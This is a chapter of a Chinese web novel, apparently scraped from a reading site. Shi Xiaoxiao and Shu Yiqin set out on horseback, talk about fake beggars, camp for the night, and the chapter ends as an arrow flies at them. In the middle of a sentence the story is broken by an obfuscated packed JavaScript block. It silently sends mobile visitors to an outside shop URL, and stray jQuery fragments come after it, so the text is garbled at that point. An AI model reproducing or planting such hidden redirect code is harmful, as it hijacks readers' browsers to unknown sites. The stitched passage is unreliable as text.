拜别石家长辈,石晓晓便和舒亦钦带着行囊一块离去。
石晓晓未曾出过远门,同舒亦钦出城后,便有了许多前所未有的新奇感。此时此刻与平时闲逛截然不同,往日不甚在意的东西,竟让她注意了不少。
缩在城墙之外的乞丐,看起来凄惨得很。石晓晓扯了扯舒亦钦:“他们这么可怜,咱们要不要给他们施舍点?”
那个人说的话在石晓晓脑海盘旋,让她生出了想要身体力行、好好体会一番的想法。又因为舒亦钦站在身侧,不想擅做主张,便又多问了两句。
舒亦钦斜睨一眼那角落里看起来生龙活虎的落魄人,稍稍奇怪石晓晓怎么不如往日机敏:“身强体壮、气息浑厚,是有些气力功底的人,除了不爱干净邋遢了点,哪是能把自己饿死的样?只怕你送两个馒头,人家还嫌弃不是铜钱呢!”
这伙人,和华盛街那拨乞丐可不是一路人。
“可他们看起来明明挺惨的啊。”石晓晓不解,这扶弱济贫难道还是不对的?怎么舒亦钦看起来一脸拒绝,难道他心里就没一点儿正气吗?
舒亦钦一眼就看见石晓晓那古怪的眼神,似是责备自己不是个德善之人。不知怎么,发觉这丫头的脑子突然堵住了便有些好笑,舒亦钦附在她耳畔说道:“我同你说,但你不可盯着人家看,余光瞧瞧就好。”
呼吸近在耳侧,吹得石晓晓微微发痒,她稳住心跳点头,这才听舒亦钦与她娓娓道来。
“除夕前夜降过一场雪,今日仍旧是寒意未退,你我两个年纪轻轻都还需要多穿些衣物御寒不是?你看那左侧最高的人,衣服破损光着膀子,却不见丝毫颤抖;而那露出来的手臂粗壮有力,也未有损伤,行走举动间不见一点惧寒。可见,他身骨强劲火气旺盛,体魄健硕不惧严寒,许是练过一些内家功夫。你再看躺地上盖着席子的那个,远远看着是眉眼紧闭好似死了,可你仔细瞧瞧,那席子可是有些起伏?气息缓和绵长,平稳而有序,多半是在睡觉,没准还是美梦呢!……这些人,个个穿得单薄却不挤着取暖,你不觉得太奇怪了吗?”
石晓晓听着他的话,又仔细瞄了几眼,心中惊诧不已。
见她明白过来,舒亦钦拉着她往城外的驿站走去,嘴上为她解惑:“并非人人看着弱势就是需要救济,也并非需要救济的便能坦然接受赠与。这些人不是寻常乞丐,身体底子也比那老弱病残的好太多。他们未必真的穷困潦倒,多半是乔装打扮出来的。或许是想不劳而获,或许是暗探伪装,或许是打赌输阵……却绝不可能是真正的乞丐。”
“你见过真正的乞丐?”石晓晓下意识追问。
“见过。”舒亦钦不知她怎么突然对乞丐有了兴趣,刚想问她是不是想辨别见识一下,却听她又问了话。
“你会接济他们吗?”
“会啊。”舒亦钦看了眼身边的石晓晓,瞧她那模样不似开玩笑,解释间也认真不少,“他们大多命苦,或身有残缺,或携有病症,行动不便也难求生计。我若见到了,送点衣物吃食也是做善事。”他说着,脑中想起了华盛街那个瘦骨嶙峋的小孩子,心里生出点想法却还是忍下不提。
“嗯,”石晓晓点点头,“你倒是个好的。”
被她这么夸上一句,舒亦钦觉得别扭,来来回回看了石晓晓好几眼,总觉得她和平日里不太一样。
杨柳巷子来往那么多人,有时候张老胡子不在,连那小门边上都可能蹲两个乞丐,也没见她注意过啊?
这时候的舒亦钦还不知道,这好人好事,石晓晓可不是光要嘴上夸夸的。
两人去到驿站,舒亦钦买了一匹闲置的大马,又买了些草料。他在马鞍上固定好包裹,将石晓晓送上马背后,自己翻身上马,将人圈在怀里。扬鞭一挥,“驾”的一声便飞驰而去。
冷风迎面扑来,似有细刃刮在脸上。石晓晓觉得有些疼,却不愿埋头避开。她看着眼中飞速展开又闪过的树木,看着像流水一样蜿蜒起伏滑过眼畔的重叠山脉,那素色裹着银边,像是奇异飞窜开的流星,不断拉开风景展现在眼前。
她从未骑过马,也从未见过这样的景色。
一草一木一山一雪明明是不曾动过的,却在这时候都鲜活起来,生出了奇妙的律动。
石晓晓有些贪婪,想要不顾一切地将所处之景尽数收于眼底。
她想,也许,那个人说的是对的,她应该走出来看看。
这世界是多么不一样啊!
“冷吗?”舒亦钦惯常骑马,对着疾风并无不适,却是想起自己怀里还有个媳妇儿在,便关心了一句。
“什么?”石晓晓只觉耳边全是风声呼啸,听不清楚舒亦钦的话。
“冷吗?”舒亦钦提高了声音,“冷的话就躲我怀里来!”
“好!”听着舒亦钦的话,石晓晓心里甜甜的,可是眼睛已经挪不开了。
听见她应声却不往自己怀里钻,舒亦钦以为她没事儿,就这样环着怀里的人跑了一程。
傍晚没能到村落城镇附近,两人停在路边的林子里露宿。
石晓晓兴奋地帮着舒亦钦捡柴生火,又简单地打了个地铺,这才觉得脸上刺疼,大腿内侧也有些不太舒服,躲在一边如厕后才知道腿上也磨破皮了。
“你怎么了?”舒亦钦见她回来时走路的样子僵硬怪异,留心打量了一会儿,最后问道,“腿上受伤了?”
石晓晓垂着眼帘,不大好意思地点点头。
“怎么也不跟我说说。”嘴上埋怨着,舒亦钦却在自己的包裹里翻了个药瓶子出来,递给石晓晓,“出门在外我就不逗你了,你自己抹吧。”说着就把石晓晓塞进了地铺里,自己守在一边,也不看她。
裹在被子里的石晓晓脸上一红,这人说话是几个意思,什么叫做“出门在外就不逗了”,难不成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111495|149786||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
若是在家里……
她小心给自己上了药,便叫舒亦钦将瓶子收好。
舒亦钦装好瓶子,不一会儿又拿出来一个小木盒、一个水囊和一条帕子。他拿着东西坐到石晓晓身边,将她的头放在自己膝盖上,嘴里絮絮叨叨说了起来:“我忘了你自小就在江城,没出过远门,有些东西我虽然准备了,但也备得不齐全,今日就凑合些吧。等我们到了城镇上,我再给你买点。”
他说着倒水润湿了帕子,细细替石晓晓擦了脸和手,又打开小盒子给她上了些冻疮膏。
随着脸上慢慢变得滋润,那冷风吹出的刺痛也慢慢减弱,石晓晓闻着那挥之不去的药膏味儿,算是明白舒亦钦为什么说要“凑合”了。他只顾着冬天防冻疮,却没想过要准备姑娘家用的脂膏。
瞧着他接连从包裹里掏出了两种药,石晓晓想起家里卧房中那一堆瓶子,心里有点微妙,随口问他:“你还带了什么药啊?”
“理气丸、解毒丹、金疮药、牛黄丸……”舒亦钦说着面露担心,“你还有哪里不舒服吗?”
石晓晓眨眨眼,有点茫然:“没有啊?”
舒亦钦再三查看,见她面色不似作假,便又起身收好东西,转头回来又和石晓晓窝在一块儿了。
“早些睡,明日还要早点赶路。去府西县不算远,但三四天也有些赶时间。除了休息,也不能有丝毫懈怠。”舒亦钦将石晓晓抱在怀里,“生了火,又有我在,不必担心意外。”
石晓晓在他怀里点着头,不禁想起上一次两人也是在火堆前独处,想起当时他负伤后那软乎撒娇又带了点奇特害羞的模样,扒着舒亦钦的胸口问:“是不是之前在东路亭外的时候,你就喜欢我了呀?”
舒亦钦五感敏锐,哪能听不清她说什么,只是轻轻拍了拍石晓晓的背:“早些睡了。”便再不吭声。
石晓晓想,舒亦钦这铁定是害羞了,毕竟连问他一句心意都要问好久。
两人相拥而眠,一夜无事。
次日收拾妥当,舒亦钦在马鞍上又垫了些软和的衣料,让石晓晓侧坐在自己怀里,抱着自己的腰。哪知马儿没跑两步,石晓晓就叫着自己快掉下去了,非要舒亦钦停下。舒亦钦算是知道她这样侧坐是坐不稳的,只好拎着人在半空中打个转,又让她跨坐在马上了。
舒亦钦出手速度快,跑着马又不提示,石晓晓冷不防半路升空吓得半死!
“舒亦钦——!”
本来是想骂人的,奈何事发突然,吓得石晓晓脑袋空白只能喊出名字。好不容易缓过神,这才捏着拳头敲打自己跟前那握着缰绳的手。
“你想杀人啊!这么危险!都不说一声!……”
舒亦钦突然伸手从侧面压过石晓晓的身体,借着拉缰绳的手撑住她的重量。
顷刻,马上两人双双向右|倾倒,身体错开间,一道飞箭“唰”地飞过!意在咽喉要害!